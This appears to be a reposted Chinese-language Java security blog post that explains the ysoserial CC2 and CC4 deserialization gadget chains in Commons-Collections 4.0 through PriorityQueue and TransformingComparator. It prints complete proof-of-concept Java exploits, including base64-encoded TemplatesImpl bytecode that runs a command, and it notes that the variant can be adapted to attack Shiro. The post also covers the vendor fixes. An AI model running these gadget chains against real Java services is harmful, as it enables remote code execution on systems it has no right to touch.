JAVA安全|Gadget篇:CC2 CC4链—Commons-Collections4.0下的特有链

admin 2023年2月7日23:35:35评论133 views字数 12936阅读43分7秒阅读模式
0x00  前言
    JAVA安全系列文章主要为了回顾之前学过的java知识,构建自己的java知识体系,并实际地将java用起来,达到熟练掌握java编程,并能用java编写工具的目的。此系列文章需要读者具备一定java基础,不定时更新。相关详情可通过我的公众号文章进行查看:
JAVA安全|即将开启:java安全系列文章
    Gadget篇主要是分析一些经典常见的反序列化链,基本来自于Ysoserial工具。与网上大部分分析反序列化链文章的不同点在于我会尽可能地从如何发现链子的角度来讲解,参考的资料主要为B站白日梦组长的视频以及P牛的JAVA安全漫谈系列文章

    本文为JAVA安全系列文章第十七篇,主要学习CC2  CC4链,重点在于理解PriorityQueue的底层实现原理。

0x01  Commons-Collections与 Commons-Collections4

在前面学习TransformedMap CC1链时,我们介绍过Apache Commons Collections分为3.x和4.x版本。3.x版本包名为org.apache.commons.collections,4.x版本包名为org.apache.commons.collections4。其groupId和artifactId分别为:

JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

可以看到groupId和artifactId都不同,可以说是两个分支。

我们前面分析的CC链默认都是在 Commons Collections<=3.2.1这个分支下的。

一、为什么会有两个分支

commons-collections即3.x分支是在2005年就有的,commons-collections4即4.x分支是在2013年推出的。

Apache官⽅认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产⽣⼤量不能向前兼容的改动。所以commons-collections4不再认为是⼀个⽤来替换commons-collections的新版本,⽽是⼀个新的包,两者的命名空间不冲突,故可以共存在同⼀个项⽬中。

二、commons-collections4的改动

我们自然会关心一个问题,commons-collections4做了哪些改动,之前学的那些CC链能否在commons-collections4下使用呢?

答案是能,其实之前在CCK1 CC11那篇文章里已经说了只需要把org.apache.commons.collections.*变为org.apache.commons.collections4.*,LazyMap.decorate()变为LazyMap.lazyMap(),TransformedMap.decorate()变为TransformedMap.transformedMap()就可以了。

我们关心的改动除了一些方法名变了之外,其实还有就是Transformer接口的定义变了:

JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

采用了泛型,同样实现了该接口的类也发生了变化,LazyMap等的代码也采用了泛型:

JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

此外,能调用到Transformer#transform()的方法,在commons-collections4中增加了一些:

JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

0x02  CC2链

通过前面的学习,我们知道commons-collections这个包会有这么多条反序列化链是因为它包含了⼀些可以执⾏任意⽅法的Transformer。故在commons-collections中找Gadget的过程,实际上可以简化为,找⼀条从 Serializable#readObject() ⽅法到 Transformer#transform() ⽅法的调⽤链。

一、TransformingComparator

在org.apache.commons.collections4.comparators包下,有一个可以调用 Transformer#transform()方法的类—TransformingComparator:

JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

可序列化,实现了 java.util.Comparator 接⼝,这个接⼝⽤于定义两个对象如何进⾏⽐较。TransformingComparator包含了一个Transformer和一个Comparator,在其compare方法中先使用Transformer#transform()对两个要比较的对象进行修饰,然后再调用Comparator进行比较。

二、PriorityQueue

JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

过程很清晰,我们并不需要很理解PriorityQueue是什么,从代码中我们可以直观地看到:

它可序列化,在其内部可以从readObject()-->heapify()-->siftDown()-->siftDownUsingComparator-->comparator.compare()

我们只需要构造一个PriorityQueue,传入Comparator为TransformingComparator,TransformingComparator中的Transformer为我们精心构造就可以了。

Gadget chain:

JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

不过,作为学习,我们还是要理解PriorityQueue到底是什么,这样才能更深入地理解这条链子到底是怎么回事。

要彻底理解PriorityQueue需要点数据结构中关于二叉树和堆的基础知识,下面就简单概括总结介绍下PriorityQueue:

PriorityQueue是一个优先队列,即每次出队的元素都是优先级最高的元素。jdk中使用二叉堆这种数据结构:

JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

通过堆使得每次出队的元素总是队列里面最小的,而元素的大小比较方法可以由用户Comparator指定,这里就相当于指定优先级。

PriorityQueue在反序列化时会调用heapify() 方法来恢复(换⾔之,保证)堆结构的顺序,heapify() 中调用siftDown() ,在siftDown() 中当用户指定了Comparator,就会调用siftDownUsingComparator()进行排序,它是将⼤的元素下移。

siftDownUsingComparator() 中使⽤Comparator().compare() ⽅法⽐较树的两个节点,此时传入的Comparator为TransformingComparator,由此触发Transformer#transform()造成命令执行。

关于PriorityQueue的详细实现原理,可以参考这篇文章:

https://www.cnblogs.com/linghu-java/p/9467805.html

另外,关于CC2链的发现,我觉得应该是原作者对Comparator比较敏感,且对JAVA SE比较熟,知道PriorityQueue这个类反序列化时会调用Comparator.compare()。

三、POC编写
1.PriorityQueueChain POC

理解了上面说的,我们就可以写出POC了

不过有一点还是需要说明一下,从它的原理我们可以了解到:

当向其中添加元素时,也是会调用Comparator().compare() 进行元素比较的:

JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

所以和分析CC6时一样,我们得先传一个人畜无害的fakeformers,不过我们在添加之后不需要移除什么,因为这里只是比较,不会像LazyMap#get()会添加额外的东西。

按照上面的思路,我们可以写出PriorityQueueChain POC如下:

public class PriorityQueueChain {
   public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
       Transformer[] fakeformers = {new ConstantTransformer(1)};
       Transformer[] transforms = new Transformer[]{
               new ConstantTransformer(Runtime.class),
               new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
               new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
               new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
      };

       ChainedTransformer chainedTransformer = new ChainedTransformer(fakeformers);

       TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
       PriorityQueue queue = new PriorityQueue(2, transformingComparator);
       queue.add(1);
       queue.add(2);

       Class clazz = ChainedTransformer.class;
       Field field = clazz.getDeclaredField("iTransformers");
       field.setAccessible(true);
       field.set(chainedTransformer,transforms);

       ByteArrayOutputStream bos = new ByteArrayOutputStream();
       ObjectOutputStream oos = new ObjectOutputStream(bos);
       oos.writeObject(queue);
       oos.close();

       ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
       ois.readObject();

  }
}
2.CC2 POC

不过,Ysoserial中的CC2最终是用的TemplatesImpl来执行命令的,且数组长度为1,所以Ysoserial原生的CC2可以直接用来攻击shiro,有了前面学的几条链子的铺垫,我们同样可以轻易写出POC:

public class CC2 {
   public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
       byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWAQANU3RhY2tNYXBUYWJsZQcAIAcAHQEAClNvdXJjZUZpbGUBAApDYWxjMS5qYXZhDAARABIHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEQAoAQAFQ2FsYzEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAwABAAoACwACAAwAAAAZAAAAAwAAAAGxAAAAAQANAAAABgABAAAACAAOAAAABAABAA8AAQAKABAAAgAMAAAAGQAAAAQAAAABsQAAAAEADQAAAAYAAQAAAAoADgAAAAQAAQAPAAEAEQASAAEADAAAAGUAAwACAAAAGyq3AAG4AAISA7YABFenAA1MuwAGWSu3AAe/sQABAAQADQAQAAUAAgANAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAGgASABMAAAAQAAL/ABAAAQcAFAABBwAVCQABABYAAAACABc=");
       TemplatesImpl templates = new TemplatesImpl();
       setFieldValue(templates, "_name", "xxx");
       setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
       setFieldValue(templates, "_bytecodes", new byte[][]{code});

       //先传入一个transformer,其iMethodName为人畜无害的toString,避免add时就弹计算器
       Transformer transformer = new InvokerTransformer("toString", null, null);

       Comparator comparator = new TransformingComparator(transformer);
       PriorityQueue queue = new PriorityQueue(2, comparator);
       queue.add(templates);
       queue.add(templates);

       setFieldValue(transformer,"iMethodName","newTransformer");

       ByteArrayOutputStream bos = new ByteArrayOutputStream();
       ObjectOutputStream oos = new ObjectOutputStream(bos);
       oos.writeObject(queue);
       oos.close();

       ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
       ois.readObject();

  }

   public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
       Class<?> clazz = obj.getClass();
       Field fieldName = clazz.getDeclaredField(field);
       fieldName.setAccessible(true);
       fieldName.set(obj, value);
  }
}
3.踩坑小记

之前学的CCK1链中,InvokerTransformer的iMethodName我们先传入的是人畜无害的getClass,但放在此处add时会抛出异常:

JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

调试发现,此时会导致在compare时两个比较的对象均为Class类型,Class类型是无法进行比较的:

JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

此处有两种修改方式,第一种如下:

ConstantTransformer fakeformer = new ConstantTransformer(1);
Transformer transformer = new InvokerTransformer("newTransformer", null, null);

Comparator comparator = new TransformingComparator(fakeformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(templates);
queue.add(templates);

setFieldValue(comparator,"transformer",transformer);

原理是add时通过fakeformer后decorated.compare()中的value1,value2均为1:

JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

第二种将InvokerTransformer的iMethodName由getClass改为toString:

JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

Ysoserial源码是使用的第二种:

JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

0x03  CC4链

CC4可以看成是对CC2的改造,用InstantiateTransformer来替代InvokerTransformer,

学习了CC3链,我们也可以很容易写出POC:

public class CC4 {
   public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
       byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWAQANU3RhY2tNYXBUYWJsZQcAIAcAHQEAClNvdXJjZUZpbGUBAApDYWxjMS5qYXZhDAARABIHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEQAoAQAFQ2FsYzEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAwABAAoACwACAAwAAAAZAAAAAwAAAAGxAAAAAQANAAAABgABAAAACAAOAAAABAABAA8AAQAKABAAAgAMAAAAGQAAAAQAAAABsQAAAAEADQAAAAYAAQAAAAoADgAAAAQAAQAPAAEAEQASAAEADAAAAGUAAwACAAAAGyq3AAG4AAISA7YABFenAA1MuwAGWSu3AAe/sQABAAQADQAQAAUAAgANAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAGgASABMAAAAQAAL/ABAAAQcAFAABBwAVCQABABYAAAACABc=");
       TemplatesImpl templates = new TemplatesImpl();
       setFieldValue(templates, "_name", "xxx");
       setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
       setFieldValue(templates, "_bytecodes", new byte[][]{code});

       ConstantTransformer fakeformer = new ConstantTransformer(1);

       InstantiateTransformer transformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

       Comparator comparator = new TransformingComparator(fakeformer);

       PriorityQueue queue = new PriorityQueue(2, comparator);
       queue.add(TrAXFilter.class);
       queue.add(TrAXFilter.class);

       setFieldValue(comparator,"transformer",transformer);

       ByteArrayOutputStream bos = new ByteArrayOutputStream();
       ObjectOutputStream oos = new ObjectOutputStream(bos);
       oos.writeObject(queue);
       oos.close();

       ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
       ois.readObject();
  }

   public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
       Class<?> clazz = obj.getClass();
       Field fieldName = clazz.getDeclaredField(field);
       fieldName.setAccessible(true);
       fieldName.set(obj, value);
  }
}

此处我将数组长度变为1,使其可以用来攻击shiro。

Ysoserial源码数组长度为2,而且感觉有些冗余:

JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

0x04  思考与总结

一、CC2  CC4链是否⽀持在commons-collections 3中使⽤

细心的读者会发现TransformingComparator这个类其实在commons-collections 3中也有,但CC2  CC4链只能在commons-collections 4.0中,原因在于commons-collections 3中的TransformingComparator未实现Serializable接口,即不能进行序列化与反序列化:

JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

二、CC2与CC4链原理概括

CC2和CC4其精髓是一样的:

优先队列PriorityQueue在反序列化时会调用heapify() 方法即堆化来恢复(换⾔之,保证)堆结构的顺序,heapify() 中会调用Comparator().compare() ⽅法⽐较树的两个节点,此时我们传入Comparator为TransformingComparator,由此触发Transformer#transform()造成命令执行。

链子比较简单,我们应着重理解PriorityQueue的实现原理,在后面的CB链的学习中,我们还会碰到它。

三、Apache Commons Collections官⽅对反序列化漏洞的修复

Apache Commons Collections官⽅在2015年底得知序列化相关的问题后,就在两个分⽀上同时发布了新的版本—4.1和3.2.2,采用的是不同的修复方法:

  1. 3.2.2中的修复

3.2.2中增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization()来检测反序列化是否安全:

https://github.com/apache/commons-collections/blob/collections-3.2.2/src/java/org/apache/commons/collections/functors/FunctorUtils.java#L168

检查常⻅的危险Transformer类 ( InstantiateTransformer 、InvokerTransformer 、PrototypeFactory 、CloneTransformer 等)是否在readObject() 时进⾏调⽤。

如果开发者没有设置全局配置 org.apache.commons.collections.enableUnsafeSerialization=true ,即默认情况下,当我们反序列化包含这些对象时就会抛出⼀个异常:

Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.

JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

  1. 4.1中的修复

4.1版本中的修复方法简单粗暴,危险Transformer类(InstantiateTransformer 、InvokerTransformer 、PrototypeFactory 、CloneTransformer 等)不再实现 Serializable 接⼝,也就是说,危险Transformer类彻底⽆法序列化和反序列化了:

https://github.com/apache/commons-collections/tree/collections-4.1/src/main/java/org/apache/commons/collections4/functors


到此,我们已经学完了Ysoserial中的7条CC链及其改造链CCK1-CCK4,CC10,CC11,下一篇我们学习剩下的CC8 CC9链。


参考:

p神《JAVA安全漫谈》


Java安全系列文集

第0篇:JAVA安全|即将开启:java安全系列文章

第1篇:JAVA安全|基础篇:认识java反序列化

第2篇:JAVA安全|基础篇:实战java原生反序列化

第3篇:JAVA安全|基础篇:反射机制之快速入门

第4篇:JAVA安全|基础篇:反射机制之Class类

第5篇:JAVA安全|基础篇:反射机制之类加载

第6篇:JAVA安全|基础篇:反射机制之常见ReflectionAPI使用

第7篇:JAVA安全|Gadget篇:URLDNS链

第8篇:JAVA安全|Gadget篇:TransformedMap CC1链

第9篇:JAVA安全|基础篇:反射的应用—动态代理

第10篇:JAVA安全|Gadget篇:LazyMap CC1链

第11篇:JAVA安全|Gadget篇:无JDK版本限制的CC6链

第12篇:JAVA安全|基础篇:动态字节码加载(一)

第13篇:JAVA安全|基础篇:动态字节码加载(二)

第14篇:JAVA安全|Gadget篇:CC3链及其通杀改造

第15篇:JAVA安全|Gadget篇:CC依赖下为shiro反序列化利用而生的CCK1 CC11链

第16篇:JAVA安全|Gadget篇:CC5 CC7链


如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~

原文始发于微信公众号(沃克学安全):JAVA安全|Gadget篇:CC2 CC4链—Commons-Collections4.0下的特有链

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月7日23:35:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA安全|Gadget篇:CC2 CC4链—Commons-Collections4.0下的特有链http://cn-sec.com/archives/1541971.html

发表评论

匿名网友 填写信息